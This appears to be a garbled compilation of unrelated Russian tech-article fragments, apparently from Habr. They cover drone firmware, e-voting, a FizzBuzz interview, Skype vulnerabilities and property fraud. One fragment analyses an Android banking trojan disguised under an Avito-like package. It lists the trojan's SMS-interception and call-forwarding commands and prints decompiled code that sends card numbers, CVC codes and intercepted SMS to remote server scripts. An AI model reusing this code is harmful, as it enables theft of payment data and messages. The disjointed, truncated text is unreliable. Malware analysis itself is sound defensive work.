Раздел 1. Soft Skills

1. Я молчу на совещаниях. Стараюсь делать внимательное и умное лицо, даже если мне все равно.

При сборке квадрокоптеров и других БПЛА обычно используют готовую плату полетного контроллера, содержащую все необходимые датчики и периферию, и готовую полетную прошивку, например, Betaflight, ArduPilot или PX4. Полетный контроллер управляет моторами квадрокоптера и обеспечивает стабильный полет.

Занимаясь БПЛА с 2016 года, я решил разобраться в устройстве полетных контроллеров максимально глубоко и создать квадрокоптер с нуля, не используя готовый полетный контроллер и готовый софт. Спустя долгое время разработки мне удалось это сделать. Я написал прошивку с максимально простым исходным кодом и выложил ее на GitHub. В этой статье я расскажу о теории и практике разработки полетного софта для квадрокоптера и проиллюстрирую это на примере своего дрона на базе микроконтроллера ESP32, который можно увидеть на картинке выше.

Я уже рассказывал в прошлом году, что тогда нам так и не удалось независимо установить итоги голосования. Тогда это произошло из-за наличия в системе “переголосований”, для учёта которых использовался никому не подконтрольный второй блокчейн.

Что ж, похоже и на этот раз удача нас подвела. Несмотря на то, что переголосования на этот раз убрали, в этот раз нас настигла новая подстава: случайно сгенерированные ID кандидатов, уникальные для каждого из избирателей.

- Добрый день, я на интервью на позицию старшего разработчика.

- Здравствуйте, давайте начнем с небольшого теста, пока я ваше CV смотрю. Напишите программу, которая выводила бы числа от 1 до, скажем, миллиарда, притом если число кратно трем, то вместо числа выводится Fizz, если кратно пяти, то Buzz, а если и трем, и пяти, то FizzBuzz.

Серьезно, FizzBuzz? Задачка для начальной школы, на сениорскую позицию? Ну ладно.

Это продолжение моей предыдущей статьи, в которой я рассказал о не очень удачной попытке достать кристалл микроконтроллера одной из игр семейства Brick Game. На этот раз попытка оказалась удачной - кристалл уцелел, прошивка успешно прочитана и написан эмулятор.

Короткий ответ: никак, им пофиг.

UPD

• Любой может заблокировать ваш аккаунт навсегда так, что вы больше не сможете им пользоваться. Для этого достаточно знать только имя аккаунта. В большинстве случаев Skype откажет вам в восстановлении доступа. Microsoft знает об этой проблеме несколько лет.
  
  
• Механизм генерации восьмизначных одноразовых кодов аутентификации (Microsoft Security Code), которые используются для восстановления пароля к аккаунту Microsoft, уязвим. Атакующий может угадать код.
  
  
• Техподдержка Skype уязвима для атак социальной инженерии. Microsoft считает это нормальным.
  
  
• Техподдержка Skype не знает, что на самом деле происходит с вашим аккаунтом, и почему он заблокирован. В любом случае вы получите стандартный ответ, что ваш аккаунт заблокирован за нарушение правил, даже если аккаунт был удален по вашему запросу.
  
  
• Skype по-прежнему раскрывает ваш IP-адрес, в том числе и локальный (тот, что на сетевом интерфейсе). В некоторых случаях возможно раскрытие контактов, подключенных с того же внешнего IP-адреса, что и вы. Например, членов семьи, подключенных к домашнему роутеру.
  
  
• Атакующий может скрыть активную сессию из списка авторизованных клиентов (команда /showplaces) используя старые версии SDK. Таким образом, зная пароль, можно незаметно просматривать переписку жертвы.

Предисловие

Исследование APK

• delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
• sent&&& — отправка заданных СМС-сообщений с сервера
• rent&&& — перехват всех СМС-сообщений и отправка их на сервер
• sms_stop&&& — отмена перехвата СМС-сообщений
• ussd&&& — USSD-запрос
• call_1&&& — установка и отмена безусловной переадресации

protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());

Недавно общественность облетела новость о первом случае продажи квартиры мошенниками с помощью ЭЦП и подделки документов. Когда я раньше читал подобные новости, всегда воспринимал отстранённо, как будто со мной этого не может произойти, но я ошибался. И теперь могу заявить, в зоне риска мошенников — каждый, увы, даже хабровчане.